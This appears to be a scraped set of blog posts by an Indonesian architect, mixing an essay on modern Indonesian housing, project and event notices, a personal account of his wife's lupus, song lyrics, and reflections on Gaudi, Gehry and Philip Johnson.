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Di tahun 1990 Pameran AMI [Arsitek Muda Indonesia] menandai satu titik kritis dimana desain yang rasionalis ataupun yang sering disebut – sebut sebagai gaya minimalis menjadi sejarah di dalam arsitektur Indonesia. Desain rasionalis ditandai dengan garis – garis yang geometris, penuh pertimbangan untuk menjawab kebutuhan fungsional dan estetika yang tinggi. Hal ini menandai pergeseran nilai – nilai tentang apa yang dianggap baik oleh Arsitek Muda Indonesia sebagai reaksi terhadap menjamurnya rumah bergaya mediterania, klasik, ataupun tradisional yang menjamur pada waktu itu. 14 tahun kemudian, setelah pameran AMI tersebut, rumah – rumah yang rasionalis ini menjamur dimana – mana, gaya rasionalis menjadi satu tren pasar yang sensual untuk disukai oleh masyarakat. Hal ini ditambah dengan perubahan gaya hidup orang – orang yang lebih individual juga terjadi hal ini ditandai dengan tendensi berkurangnya rumah nukleus, rumah yang terdiri dari beberapa generasi di dalamnya. Mungkin 20 tahun yang lalu kita masih biasa dengan tradisi bapak ibu, kakek nenek, cucu cucu tinggal di dalam satu rumah. Sebuah situasi dimana canda gurau, tegur sapa terjadi secara dekat di dalam satu rumah yang ditinggali bersama – sama. Untuk ini kita bisa catat adanya pergeseran gaya hidup, pergeseran budaya, pegeseran dari tradisional menjadi modern, pergeseran dari komunal menjadi individual. Tergerusnya rumah nukleus ini menjadi satu hal yang patut untuk dicatat dan tumbuhnya rumah – rumah berukuran lebih kecil menjadi pertanda akan satu perubahan yang nyata. Pertanyaannya kemudian untuk siapa ? dan untuk apa ? satu rumah itu ada.
Untuk siapa ?
Romantisme akan keluarga yang menyatukan hubungan menjadi satu dasar utama dalam membina kesuksesan. Orang yang tinggal bersama – sama, menurut penelitian di Amerika orang – orang mengalami interaksi manusia dengan manusia terbukti akan hidup lebih lama. Catatan ini ditujukan sebagai ada korelasi dari gaya hidup / budaya ke dalam satu parameter yang hakiki, seberapa lama kita hidup, ternyata semangat kebersamaan [spirit togetherness] yang menjadi satu ciri khas yang baik dalam masyarakat kita, ternyata memiliki harta yang terpenting dalam hidup setiap orang yakni, seberapa lama kita hidup atau seberapa banyak usia yang kita punya.
Tren meningkatnya nilai individualistis ini di kota – kota besar seperti Jakarta mungkin juga dipicu oleh kurangnya tempat untuk berekspresi dan berkumpul, sehingga ada dimensi seperti ini yang mempengaruhi kualitas manusia yang menghargai arsitektur yang menghargai kebersamaan. Di tengah – tengah mulai berbenahnya Jakarta, Bandung, Surabaya, Solo, Bogor, dan kota – kota lain. Kita di hadapkan kepada pertanyaan mengenai rumah, satu kumpulan ruang tempat kita menghabiskan sebagian waktu di dalam hidup kita, nilai apakah yang akan kita pupuk didalam rumah tersebut. Tentu saja banyak rumah yang memiliki kualitas tinggi, kualitas tinggi itu menerobos kungkungan tradisional dan modern. Ia mampu tegak berdiri di tengah kungkungan permintaan jaman, sehingga lambat laun rumah tersebut dicintai oleh orang – orang yang menghuninya atau bahkan hanya sekadar mengunjunginya karena kualitas yang terdapat didalamnya.
Untuk apa ?
Buku yang ditulis oleh Bernard Rudofsky, Architecture Without Architects bisa menjadi satu rujukan dimana menjelaskan mengenai beberapa karya rumah tinggal di tungkwan Honan, Cina misal, adalah satu rumah di bawah tanah sebagai satu usaha untuk menghindari udara dingin dan terpaan badai taufan dimana temperatur bisa turun drastis, ataupun rumah – rumah petak di Hdyrabad Pakistan dengan fitur cerobong angin untuk mendinginkan udara pada ruang di dalam dimana udara panas mengalir ke atas karena kelembapan yang rendah. Terdapat satu garis yang menyatukan beberapa bangunan yang dibahas yaitu bangunan yang diciptakan adalah satu jawaban akan kebutuhan mendasar manusia. Hal ini juga terlihat dalam rumah – rumah adat di indonesia misal rumah Batak Karo, Toba dimana bangunan dibuat panggung untuk menghindari binatang buas dan menjaga kesehatan karena konstruksi yang tersedia adalah konstruksi kayu. Ataupun Keben yang ditujukan sebagai lumbung padi yang berupa rumah panggung sekaligus menunjukkan simbol kekayaan materi pemilik rumah tersebut.
Rumah – rumah tradisional Indonesia juga merupakan respon terhadap satu kebutuhan mendasar untuk hidup nyaman dengan keterbatasan material, teknik membangun yang ada pada jamannya. Di era modern ini dimana kebutuhan mendasar manusia sudah tercukupi kemudian apa lagi yang harus dijawab oleh arsitektur tropis Indonesia. Abraham Maslow dalam penjelasan mengenai teori bagaimana alam semesta mencukupi kebutuhan manusia, bahwa ternyata kebutuhan yang paling utama adalah kebutuhan untuk mengekspresikan diri. Di titik ini, esensi apa yang mau dijawab dalam desain menjadi tidak sederhana lagi, ia menjadi kompleks karena terkait dengan pemaknaan untuk apa kita hidup dimana hal ini berbeda dari satu orang dan orang yang lain. Keberagaman ini yang tercampur aduk dalam modernitas sekarang ini, dimana orang mempertanyakan batas seberapa tradisional dan seberapa modern satu desain, dua hal yang bertolak belakang. Ingin terlihat baru juga terlihat lama, ingin terlihat berat juga terlihat ringan, ingin melihat masa lalu juga melihat masa depan.
Lalu ?
Manusia memang seakan – akan bingung dengan apa yang diinginkan dengan segala keinginannya terus menerus berubah, tradisional menuju modern. Menurut saya semuanya ini dimulai dari satu usaha untuk membuat desain yang lebih baik daripada sebelumnya. Perlu kita lihat rumah Millard karya dari Frank Llyod Wright seluas 220 m2 untuk Alice Millard di tahun 1906, kira – kira hampir seratus tahun yang lalu. Rumah yang didesain untuk menonjolkan sisi ketukangan [craftmanship] dengan material beton yang dicetak menyerupai motif sehingga menjadi tema dalam perancangannya selain pengalaman ruang yang merespon sisi selatan yang terbuka terhadap matahari mengingat posisinya di daerah Amerika Utara yang ada di Lintang Utara sehingga matahari selalu datang dari arah selatan. Frank llyod Wright ingin membuktikan bahwa ia juga bisa berkreasi dengan material yang sederhana yaitu beton. Rumah ini menjadi satu penanda di Los Angeles dan menjadi satu karya yang menjadi contoh akan membuat satu hal yang belum ada di daerah tersebut sebelumnya yang memecahkan hal – hal mendasar seperti pentingnya sinar matahari, udara yang masuk di pori – pori motif beton yang ada sampai kepada hal – hal yang bersifat keindahan, dibanggakan oleh orang – orang lain, tidak hanya pemiliknya. Kalau misalnya desain Millard house sudah dibangun sejak tahun 1923, lalu kita di tahun 2014, ditanyakan dengan satu pertanyaan, bisakah kita membuat yang lebih baik lagi. Mengenai rumah tradisional di jaman modern ini, saya kemudian ingat satu kalimat dari Daniel Liebeskind, “To provide meaningful architecture is not to parody history but to articulate it.” Be Authentic, be honest with yourself dan ajakannya kemudian adalah membuat karya yang lebih baik dari masa lalu.
Diskusi di OMAH, mengenai Architecture Without Architect.
Tulisan ini ditampilkan di Baccarat edisi akhir tahun 2014
Features : Two curvy volumes act as anchor to activate the street, creating a well integrated convention centre, food and beverage centre, and meeting space. The form of the building was inspired by wooden log inside the site, while also inspires the program to create wood museum, extending the program to mix culture and commercial in one integrated development.
Client: Mitora Highland
Principal Architect : Realrich Sjarief
Conceptual Design Team : Randy Abimanyu, Apriani Sarashayu
Realrich is in IMAGE magazine 5th edition. Here is the publication from the two of the editor’s team, Afifah Husnul Amaliyah, Natalia Siringoringo
[MAJALAH IMAGE #5]
Ingin tahu apa itu MRA?
Bagaimana pendapat praktisi, akademisi, dan IAI mengenai MRA?
Lalu bagaimana sikap kita dalam menghadapi AEC?
Mau tahu juga tips-tips sayembara?
Penasaran dengan pengalaman kp di luar negri?
Ayo baca saja semua hanya di Majalah IMAGE #5
Klik link di bawah ini
RAW Architecture, Realrich is in IMAGE magazine 5th edition. Here is the publication from the two of the editor’s team, Afifah Husnul Amaliyah, Natalia Siringoringo
[MAJALAH IMAGE #5]
Ingin tahu apa itu MRA?
Bagaimana pendapat praktisi, akademisi, dan IAI mengenai MRA?
Lalu bagaimana sikap kita dalam menghadapi AEC?
Mau tahu juga tips-tips sayembara?
Penasaran dengan pengalaman kp di luar negri?
Ayo baca saja semua hanya di Majalah IMAGE #5
Klik link di bawah ini
Omah Library, one of RAW’s design was published in konteks.org for its spirit , please check the article here “Sekitar tiga tahun lalu saya berkunjung ke garasi sebuah rumah bernomor 1 di jalan Pulau Ayer II, Puri Indah, Jakarta Barat. Kurang lebih 20 orang meramaikan garasi tersebut dan kami menghabiskan lebih dari dua jam menonton dan berdiskusi tentang film “How Much Your Building Weigh Mr. Foster?”. Di tempat yang sama berkali-kali setelahnya diadakan pula acara arsitektural yang menyenangkan nan edukatif lainnya….”
Omah Library, one of RAW’s design was published in konteks.org for its spirit , please check the article here “Sekitar tiga tahun lalu saya berkunjung ke garasi sebuah rumah bernomor 1 di jalan Pulau Ayer II, Puri Indah, Jakarta Barat. Kurang lebih 20 orang meramaikan garasi tersebut dan kami menghabiskan lebih dari dua jam menonton dan berdiskusi tentang film “How Much Your Building Weigh Mr. Foster?”. Di tempat yang sama berkali-kali setelahnya diadakan pula acara arsitektural yang menyenangkan nan edukatif lainnya….”
RAW supports OMAH Library. OMAH Architecture Library was established by Realrich Sjarief, sponsored by RAW Architecture at the end of 2014 to accomodate young people for accessible knowledge about architecture in Indonesia. We are working on part time basis to support the architecture community which is why the library is only open during saturday and sunday. Louis Kahn once shared about his wisdom, quotations from Kahn, one of which reads: “Schools began with a man under a tree who did not know he was a teacher, sharing his realization with a few others who did not know they were students.” It’s the beginning to from a society of education, an institution of man. It is simply like what we have been doing, we start with small things, one thing at a time. We do hope the positive mindset might improve architecture as a profession or as good culture basis in greater scale. At the end, while we do not know what will happen at the end our journey, let’s deepen our understanding about architecture and its beauty, the spirit which envelope our life, like it or not, it shapes our culture.
Baku, Azarbaijan. City of Winds. “The wind represent the force of change, the matter of change is nothing compare to the matter of love”
Laurensia mengatakan bahwa kami sedang mendapatkan anugerah yang terindah dari Tuhan. Saya berpikir bagaimana bisa ia bisa sedemikian sabarnya menghadapi apa yang sudah terjadi. Laurensia, satu orang yang merupakan anugrah yang terbaik yang diri ini temui, dari titik pertemuan kembali dirinya sejak diri ini ada di London sampai sekarang ini.
Kami sudah beberapa kali mengalami kesedihan, janin tidak berkembang selama waktu yang singkat ataupun yang paling lama hamil selama 7 bulan di masa kehamilan pertama. Kehamilan kedua dan ketiga, juga tidak memiliki waktu yang lama, dimana kami harus menerima kenyataan, janin tidak berkembang. Kami bertanya – tanya dan ke beberapa dokter kandungan, dan beberapa dokter ahli penyakit dalam yang semuanya memiliki niat yang baik untuk membantu.
Ada yang mempermasalahkan toxoplasma yang masih positif IGMnya, meskipun sedikit. Sampai tes terhadap aviditas terhadap toxoplasma dilakukan, karena nilainya yang tinggi, diketahui bahwa infeksi ini sudah berjalan lama dan dokter tidak mempermasalahkan ini, dengan memberikan obat Pyrimethamine ataupun spiramycin sebelum kehamilan, ataupun dimasa kehamilan yang terus mengkonsumsi spiramycin selama beberapa saat untuk kemudian memiliki masa rehat tidak meminum obat untuk kemudian meneruskannya semasa kehamilan. Ataupun kami juga melakukan tes DNA yang dilakukan, berkali – kali tes darah untuk melihat apakah permasalahannya ada di toxo plasma, hanya untuk mengetahui dari ilmu pengetahuan, apa yang bisa dilakukan untuk menghindari kejadian yang berulang. Tepatnya sekitar setengah tahun yang lalu, Dokter Raditya menyarankan kami untuk ke dokter spesialis darah, Dr. Djumhana di rumah sakit Pelni.
Dokter melakukan serangkaian tes darah, ana profile, dan beberapa parameter yang cukup rumit yang sulit untuk dimengerti. Ternyata diketahui adanya auto imune, hal yang jarang sekali dimiliki oleh orang kebanyakan. kelainan itu adalah SLE [Systemic Lupus Erythematosus],dimana tubuh menganggap organ, sistem saraf sebagai ancaman sehinga menyebabkan peradangan. SLE tidak bisa diprediksi kapan akan menyerang tubuh dimana penderitanya adalah sebagian besar wanita berusia 15 sampai 35 tahun. Kami tidak pernah bermimpi untuk mendapatkan cobaan seperti ini. Untungnya ia, sangat sabar dan bisa menerima keadaan ini. Kemudian, ia mencoba untuk mencoba pengobatan dari dokter seperti Lameson yang diminum 3 kali satu hari untuk menurunkan kekentalan darah. Didiagnosa bahwa kekentalan darah yang menyebabkan calon bayi kami tidak berkembang.
Dalam penantian hari – hari panjang, mengenai datangnya si kecil dan penantian kondisi kesehatan yang membaik, kebahagiaan itu muncul satu persatu, dari hal – hal yang sederhana. Sesampai buah pikiran kami bercita – cita ingin memiliki anak sebanyak – banyaknya, orang tua sebanyak – banyaknya pula dalam rentang hidup yang tidak lama. Sebuah dedikasi untuk orang lain. Dari situlah diri ini merasakan kekuatan yang tidak terlihat, sebuah perasaan kasih sayang, bahwa memang dedikasi yang ada di dalam kehidupan kami adalah untuk melayani orang lain, menyebarkan kasih sayang.
Dan dengan cerita ini, semoga SLE yang ada di pribadi setiap – setiap orang bisa cepat untuk disadari dan kemudian diberikan cara untuk menanggulanginya. Kondisi Laurensia sudah jauh membaik, dan indikasi kekentalan darah semakin stabil. Mungkin sudah saatnya kita berharap kembali mengenai kehadiran si kecil. Apapun yang terjadi, satu wanita, yang terbaik dan tetap terbaik.
Apabila Laurensia menganggap Lupus ini adalah anugerah yang terbaik yang didapat dalam hidup ini, maka saya sampai kapanpun, menganggap Laurensia adalah anugerah yang terbaik yang pernah didapat dalam hidup ini. Dalam perjalanan diri ini ke Baku Azarbaijan, diri ini baru mengetahui bahwa Laurensia tidak bisa tidur dengan tenang selama diri ini 5 hari di luar negeri. Dalam hati, diri ini merasa sedih karena berangkat meninggalkan dirinya, namun dalam hati pula, diri ini merasakan kebahagiaan untuk bisa dicintai dan mencintai sepenuh hati dalam saat pulang nanti. Bahwa tidak banyak lelaki bisa dirindukan seperti itu, dan bagaimana diri ini juga amat merindukannya.
Diri ini pun menarik nafas saat satu teman mengingatkan harus kembali melakukan pekerjaan di negeri angin ini, dan mungkin ini semua punya satu maksud yang masih saja belum bisa diri ini mengerti, apa ujungnya, apa tujuannya, dan mengapa ini semua bisa terjadi.
Puji Tuhan, terima kasih atas seluruh rahmatmu untuk wanita terbaikku, berilah ia kebahagiaan sesungguhnya, diri ini hanya bisa berharap.
I ‘ve heard this such a beautiful song and lyric titled Fujimoto’s Theme. The song was written in collaboration between veteran Ghibli composer Joe Hisaishi, with lyrics by the film’s supervisor Katsuya Kondō and director Hayao Miyazaki. My interpretation was the song is about the spiritual dreams, and full filing love in this life. It’s like looking at Bernini’s work, mondrian’s painting, or hearing earth by down to earth manner.
Fujimoto’s Theme
Where did you throw away your dreams?
When did you forget your love?
No more tears will come from these eyes
The people living in pain
Atop this exhausted planet
Have forgotten all about that thing called “hope”
The city overflows with Gods
Who will not guide you
Where can I return?
If I hurt someone
I don’t want to be seen by anybody
So I go far away, alone
The ocean changes that vastness
The sky becomes too heavy to bear
And everything, everything changes
Women are capricious
And men do nothing but hurt
Closing their hearts off every time they fall in love
The city overflows with Gods
Who will not guide you
Where can I return?
Unlike women, the coral
Is beautiful and yet so ephemeral
And that’s why I want to protect it so
The ocean that envelops everything
Is a mother who forgives all
And that’s why I return to it, alone
My friend, David Hutama will share his thought in understanding tools of design and production in architecture in OMAH, summer pavilion, here is the notes that I wrote for him for his lecture. I think that the knowledge of tools to design, and a way to understand production is essential for communicating the essence of the design. Without the knowledge of tools and production, architect can’t build his work, express his creativity, connect his world to the public
“A man who works with his hands is a laborer; a man who works with his hands and his brain is a craftsman; but a man who works with his hands and his brain and his heart is an artist.” ― Louis Nizer
There were times when architecture studio was so full of drafting tables to draw conceptual, schematic, or even working drawing by hand which took much time on its evolution to find what we called efficiency. Nowadays, the invention of CAD, Modelling software took over the line of production in Architecture firm. The changes was established by the need of time efficiency, costing efficiency, or even ease of transferring information between one person to another person or architect to builder or architect to other consultant which always involving techniques of creating architectural drawing or even nowadays architectural model [BIM]
An architectural drawing or architect’s drawing is a technical drawing of a building that falls within the definition of architecture. Architectural drawings are used by architects and others for a number of purposes: to develop a design idea to communicate ideas and concepts, to convince clients of the merits of a design, or even in the next stage to enable a building contractor to construct it, as a record of the completed work, and at the end to make a record of a building that already exists.
Architectural drawing become important because is consists of key information, such as the definition of space, all of the set of conventions, units of measurement and scales, annotation and cross referencing with material information or standard of construction. which described in floor plan, section, elevation. All of these information, now could be condensed in one architectural model [BIM = Building Information Model] which then creates minimum deviation in construction.
It’s all about sharing Tools of Design and Production in Architecture. which we should discuss the possible answer of :
1) What is and How history of Design and Production in Architecture evolve ?
2) What is needed for preparing a good architecture drawing or model information ?
3) How to establish bridge of information between architect – other consultant – builder ?
4) Why tools of design and production is important ? or what is the ethic to maintain good architecture drawing ?
my friend , David Hutama is chair department of UPH School of Design. After receiving his bachelor degree from Parahyangan University in the year 2000, he went to Toyohashi University of Technology, Japan, to pursue his master degree in History and Theory of Architecture. In 2005 he join Department of Architecture in Universitas Pelita Harapan. David was part of the steering committee team for Jakarta Architecture Biennale 2009 and Art Director for Rubber Wood Architecture Exhibition in 2010. In 2012 he worked as the curator of Place.Making Exhibition, an exhibition of Department of Architecture UPH at Dia.Lo.Gue Exhibition, Kemang. Together with Avianti Armand and Robin Hartanto co-edited ‘Home: a Studio Talk’, published by UPH Press. He was curator of Indonesia Pavilion in Venice Biennale 2014
“I like the thought that what we are to do on this earth is embellish it for its greater beauty, so that oncoming generations can look back to the shapes we leave here and get the same thrill that I get in looking back at theirs – at the Parthenon, at Chartres Cathedral.” – Philip Johnson
I recognised Phillipe Johnson,an architect, Scholar with big glasses who truly easy satisfied being small and enjoyed being at the centre of architecture history. He was under rated by some architect because he couldn’t draw. In his figure, we could see multiple layers which rippled modern architecture and call for discussion. He enjoyed on discussion with young architects like Frank Gehry and Peter Eisenman in his glass house he would encounter perspective which later he saw in another work, and he will encounter it again with another work making one proposition to another proposition. “Mind” was his playground, he often said architect (he is) is a “whore”, I might put “whore” in more positive way that every architect has an obligation to serve society, has also an obligation to form discourse of object in architecture history. I think Philip is like a father or centre or magnet of architecture modern history which he showed examples by encountering many modern works, and culminated it in his own way of thinking, if he thought that architect is a whore,then he was just so humble in knowing our problem as human, he was like elgar with soeil d amour, or sometimes who mimicking Mozart, Bach, Or Chopin when he played his own rhythm. That day was one morning while i was doing teleconference with people in studio ,reviewing studio’s work while we were in Paris at 4 a.m in the morning. While it was 10 a.m in Jakarta. I was so exhausted from our trip to Seville, Spain and we had not recovered yet. In just one serendipity we discussed about the story of Donna the calf which also was discussed on our trip in Bilbao. Donna is a calf who is in a cage in a farmer’s carriage going to a slaughterhouse.He was sad, in prison by his will to be freed. The farmer said ” why are you so sad ?” Donna said “i want to be free like swallow who fly above me, who has free will and laugh, but now i am in prison.” And the farmer continued to share his wisdom about his free will but the carriage is still going to slaugther house.
“Donna Donna”
On a wagon bound for marketthere’s a calf with a mournful eye.High above him there’s a swallow,winging swiftly through the sky.
How the winds are laughing, they laugh with all their might.Laugh and laugh the whole day through, and half the summer’s night.Donna, Donna, Donna, Donna; Donna, Donna, Donna, Don.Donna, Donna, Donna, Donna; Donna, Donna, Donna, Don.”Stop complaining!” said the farmer,“Who told you a calf to be?Why don’t you have wings to fly with,like the swallow so proud and free?”
Calves are easily bound and slaughtered,never knowing the reason why.But whoever treasures freedom,like the swallow has learned to fly.
I remember My body my mind wondering in one conversation with my wife two days ago In one serendipity she gasped and told me “Love (my name), The calf might represent our body an animal who has desire, instinct to fly free like swallow but it is in prison in body in a way to slaughterhouse which slaughterhouse is a symbol of time, which all of us will face soon or later, the judgement day in this world. Meanwhile the swallow is a symbol of spiritual conscience or probably heaven or hope which we always dream of or wanted to be” And the next questions are, Who the farmer in the song is ?
Probably the farmer is evil inside our heart, or God or even Just someone important to us, who told us spirit of life… Who is swallow anyway, probably everyone with free will or heaven, or just dream or something which is our purpose…. Who is the calf anyway, probably like wise someone in weakness, in prison by his own will,desire to be freed in time to the slaugther house.. And spontanioulsly i asked the people in the studio in front of screen in teleconference, who is the cattle do you think in our studio ? They kept silence and guessing that some of them is the cattle, Suddenly in serendipity I typed in screen which came up with serendipity answer that i have not had in my mind before. It is just the way of Hermeneutics works. a calf is the one who dreams free, who wants heaven for everybody, everyone of us are still learning to be the calf, so do I. but that’s life. Philip was right.
so dream like child, no burden, free like swallow, it’s in our head, think that the heart has its own way to face world. Sunlight comes in, my eyes open. Welcome back dream, long time no see spirit. Thank you so much.
Vocal : Juliana Pramesti Kumalasari Guitar : Ariyo Widiatmoko Recorded at Bajink Studi Video Clip : Belle Nuit Studio ( Yudha and Kabul ) Lighting and dekoration : Ari and iok ( Titus Vianey ) Location : In the Garage at Mertoyudan, Magelang, Jawa Tengah, Indonesia
140930 Barcelona “Learning from Gaudi is like praying to the Almighty who need devotion of our best energy knowing the most important of all.”
If Norman Foster is truly a master of fundamental then Gehry is truly a master of deconstructivist. If Scarpa is truly a master on making orchestra of human’s rigidity rational mind then Gaudi is a noble man who has genius of nature in his genius of free workmanship in unlimited geometry in mimicking nature. If you are the player of the mind then he is the body of desire then we are creating spirit to fly on, together forming special relationship between human to human or if you are gifted enough forming relation with nature or even if you are brave enough you will be linked with such spiritual force forming relation with God or someone you feel great of or whosoever who has size of heart like an elephant.
While sky is unlimited, we would be touched by Gaudi to stop talking bullshit by his study and devotion in architecture and life. We are lucky enough If Gehry does not point his hand to us, raising his middle finger when he said that 90 percent architecture work is piece of shit. Die graciously, live like a king with an act of noble man like Gaudi, who is a king on himself, an architect of blue eyes. He who did his work on temple of Sagrada Familia, La pedrera, Casa Baltio, or even his park and complex design park gueil, while in 1914, dropped all his other project except Sagrada Familia that he wanted to focus on. That was even made me curious about what he did. I read some if books about him by foundation, publishers, church, his family background, some brochure, even books contains drawing of his work to search for what force driving him were.
There were stories when Gaudi was in prison when he had fight with police when he was forbid when he went to enter the church to do his ritual, praying every morning.
Then he was in prison, he would be freed if he put 50 pence as bail out then he sent messager to bishop to bring 75. He gave 25 to the people who was a fruit seller who had trouble arguing with police. He had been there for several day accompanying him.
Then the fruit seller asked Gaudi about his address, he wanted to pay him back. Gaudi answered “I don’t ask payback when i give charity.” He inspired us with such determination of pure heart or at least he tried with his spirit inside his body, we are same man who has mind, body, and spirit. In his soul we have an example.
In another one story, finaly I have my answer of what I am looking for when Gaudi set the his attitude in such noble way when he was asked or pushed by numbers of people who wanted to continue the construction of Sagrada Familia.
“When will you finished the holy temple of Sagrada Familia?”
He answered “I have time, my Client is in no hurry.”
In my heart, I cried, then asked myself about the devotion in this life. I have learnt so much from Antonio Gaudi’s work, and even more by learning about his devotion in life which brings ever more question about our spiritual journey in this world
” …When the building is finished,…I worry that it is some kind of bizarre thing… I want to crawl under the blankets. When i saw Bilbao for the first time, I said,” oh my God, what have I done to these people?” I think that is a problem, but for better or worse, that is who I am.” – Frank Gehry
In one bright afternoon at the edge of nervion river. My mind is wondering, Norman Foster is truly master in neo Modernist approach, a god of life, an apollo, he has been my favorite architect who I was quite keen to learn from in his office. The label God of Life, Apollo was stated by Chris Abel. I was sure that Norman’s principle was truly a must do principle of doing architecture, Norman Foster is still one hero and master of fundamentals that i love most who like what Oscar Niemeyer said about him in his talk with Oscar Niemeyer.
Few days ago, in one rainy day i just arrived in Paris, commuting from Bastil to Rambuteau. I went to Gehry’s exhibition by serendipity in Pompidou Center Paris, a building which was designed by Renzo Piano and Richard Rogers. I saw models by gehry And partners stunned me. It was so beautiful. It was Like Van Gogh’s or Bernini’s or Affandi’s masterpiece. It opens into new possibilities, movement, New ideas, free form, unlimited line. It is almost perfect, And then i determined to see his work. A man who was stated by Chris Abel as Dionysus, god of pleasure.
in conclusion at that time I just love this man’s work, Frank Gehry, his building, persona and ideas in Louis Vuitton Foundation and Guggenheim Bilbao. I found that despite all of he pre assumption that (he was insensitive, he did not listen to his client, the building was not thinking about urban setting, he was driven by his ego trip) concluded by some of my peers, was wrong in his idea in these two magnificent work. After I finished read several of his books, publications, his catalogue, his interview with Barbara Isenberg or even his lecture’s video during our trip in this few days in Europe. I found that He is such humble, down to earth man who is very smart, very sensitive, and ideas driven which sometimes his was failed to catch by others.
“Frank : People think that somebody who does this kind of out-there work that they haven’t seen before must be irresponsible and must no be interested in budgets or time schedules or the client, or the community is going to be in. They characterize it as an ego trip by superstar architects. Now in some cases it may be true, but it’s not in mine. It’s no accident that Disney Hall works. Enerst Fleisch man could tell you what happened. did Ernest tell you how I listened to him?
Barbara : Yes he did tell me that. in fact, several people I’ve interviewed recently said that one of your best traits is that you listen. I was just reading remarks by Matthew Teitelbaum, director of the Art Gallery of Ontario, who said that from the very beginning you “insistenly asked” about the museum’s needs and programming.
Frank : So put that in big letters : Gehry is a listener. He is not on an ego trip.” [1]
I found that in Guggenheim, the design responded beautifully by the axial opening from city axis to river. The pond designed as extension of the river creating architecture manipulation so the shape looked as dancing on the water bringing reflection of the solid. The atrium acts as breathing space creating a void before entering multi solid gallery. The sun light coming pass flower or fish or whatever people name the skylight bringing warmth which lighten space. Sometimes it might remind us who are same human under the same sun who challenge our origin. The shape perhaps was comin by free flow creativity reminded about gaudi’s, altoo’s, corbusier’s curvy line (Ronchamp) He took it into another level by introducing thereshold of such total curvy lines in creating architecture. [2] He devised a totally new type of museum, aiming to give the visitor the choice to design his own itinerary to explore the museum, Gehry imagined an atrium that directyle connected with all exhibtion areas, in such a way that after contemplating the works in a determined wing, the visitor had to go back through the atrium to get to another area in the Museum. [3]
In Foundation of Louis Vuitton, Gehry made a clear approach for a phase of creative process in creating poetic of architecture called creative pregnancy phase stated by Antoniades in his book Poetics of Architecture. He was 84 years old when the building was opened and was praised by his patrons, collegue, and people who went for queing to enter his building. Christian Reyne, executive director, Fondation Louis Vuitton in chare of project management stated that the new approach in this project were new way of organizing the work called the “fundamentals phase.” This intermediary phase involved deciding on the main principle of the building’s conception notably the structural elements, the use of geothermal heating, and the distribution of fluids by means of radiant floors. It made it possible to fix certain parameters of construction in order to move the project forward without having to wait for the finalization of the studies. Reyner stated that the work was done in day to day basis with single 3d, and it has interactive period between architects , engineers, and general contractor which contributed to the factors in the project’s ultimate success. [4]
How can we measure this man ? When some design project he did it in effort to create inclusivist approach which dated back, some of the projects, he did it in minimum fee or even for free to enrich ‘take and give relationship between him and his patrons. Thats life when some of our life, we should dedicate it for others. I felt emphatic for this man of honour in architecture manipulation and the way of doing architecture as profession or as in his life especialy when it culminated in these two buildings that I had seen. That’s why we can call him master, or deconstructivist master or whoever you like smile emoticon who deconstructs profession, design as usual bringing future human creativity into such spiritual adventure eventhough he refused that label.
Before I could collect thoughts about what went right, I just burst into tears.
[1] Conversations with Frank Gehry, Barbara Isenberg, [2] Trip by Realrich to Guggenheim in 2014 [3] Museum guggenheim Bilbao, Architect Frank O. Gehry’s Most Original Work [Fondation Louis Vuitton, pp 122
Realrich Sjarief was a panelist in the event hosted by trueventus which titled “MIXED-USE DEVELOPMENT Delivering high-end and innovative development for a maximised revenue opportunities”. he brought discussion about context in real practice in Indonesia together with Adjie Negara, and Bima Sarumpaet.
here is the brief explanation :
The city of Jakarta is gorged with construction plots and cranes operating 24-hour cycles in ensuring on-time delivery for a The city of Jakarta is gorged with construction plots and cranes operating 24-hour cycles in ensuring on-time delivery for a hungry and demanding property market. Jakarta is one of the fastest developing cities around the world and this trend is expected to continue as it sways its way in becoming a global and modern metropolis. The city government is determined to build an effective infrastructure and transport system to place it on an equal footing with other large regional and international urban centers.
Property investors are now facing high demand for high-tech operating Mixed-Use that will adhere effectively to the cities infrastructure. Local developers, architects and contractors are in the verge of identifying the types of properties that fit into the Mixed-Use genre. Mixed-Use properties are now known as the golden egg in a developer’s portfolio. Since 2012, prices of properties have significantly increased in Jakarta, by 20 to 30 per cent with an average occupancy rate above 90% for both residential and commercial sectors.
Growing demand for real estate in Indonesia amidst strong economic performance and global investor interest, this conference will be the ideal one-stop platform for developers. Join Trueventus at Mixed-Use Development Jakarta 2014 and dive deep into the process of mastering Mixed-Use projects and ensuring successful delivery that will last for decades thus becoming an icon of a city.
This unique conference will bring delegates the benefits of:
• Analysing the impact on the public space done by successful Mixed-Use complex
• Building long-term beneficial partnerships and strategic alliances in Mixed-Use projects
• Augmenting the value of the Mixed-Use development projects with effective management of cost and time
• Assessing latest building material technology for sustainable development and effective construction
• Learning best practices in Mixed-Use development projects • Venturing into Mixed-Use framework, development and design
concepts for on-going projects
The speakers are :
José Cláudio Silva Senior Associate Aedas
Simon Bee Executive Director Benoy, Hong Kong
Doddy A. Tjahjadi Managing Director PTI Architects, Indonesia
Sacha Schwarzkopf Associate Director, UD Studio Leader AECOM Asia, Indonesia
Mathieu Pitet CEO Interstar Investments, Hong Kong
Andreas Kartawinata President Director Retail Property Management, Indonesia
Jon Grant Director Chapman Taylor, Thailand
Todd Lauchlan Country Head Jones Lang LaSalle, Indonesia
Eddy Leks Managing Partner Leks & Co, Indonesia
Johannes Spies Director Townland International, Indonesia
Phil Kim Co-Chief Executive Officer, Managing Director Jerde Partnership, Hong Kong
David Cheadle Managing Director Cushman & Wakefield, Indonesia
Ishak Chandra Managing Director – Corporate Strategy & Services Sinar Mas Land, Indonesia
Rahayu Hoed Partner Makarim & Taira, Indonesia
Widijanto Managing Director PT AKR Land Development, Indonesia
“Negeri – negeri asia lainnya jauh lebih maju daripada Indonesia pada masa – masa sebelum perang dunia ke II. India telah dimahkotai hadiah nobel karena cerpen – cerpen Tagore. Singapure dan Malaya, serta Vietnam (ingat saja pada Perre Do – Din), tapi di masa sebelum perang dunia II itu, Indonesia baru menyumbangkan Hikayat Kancil, surat – surat Kartini, dan karya Multatuli yang notabene adalah pengarang Belanda.” [1]
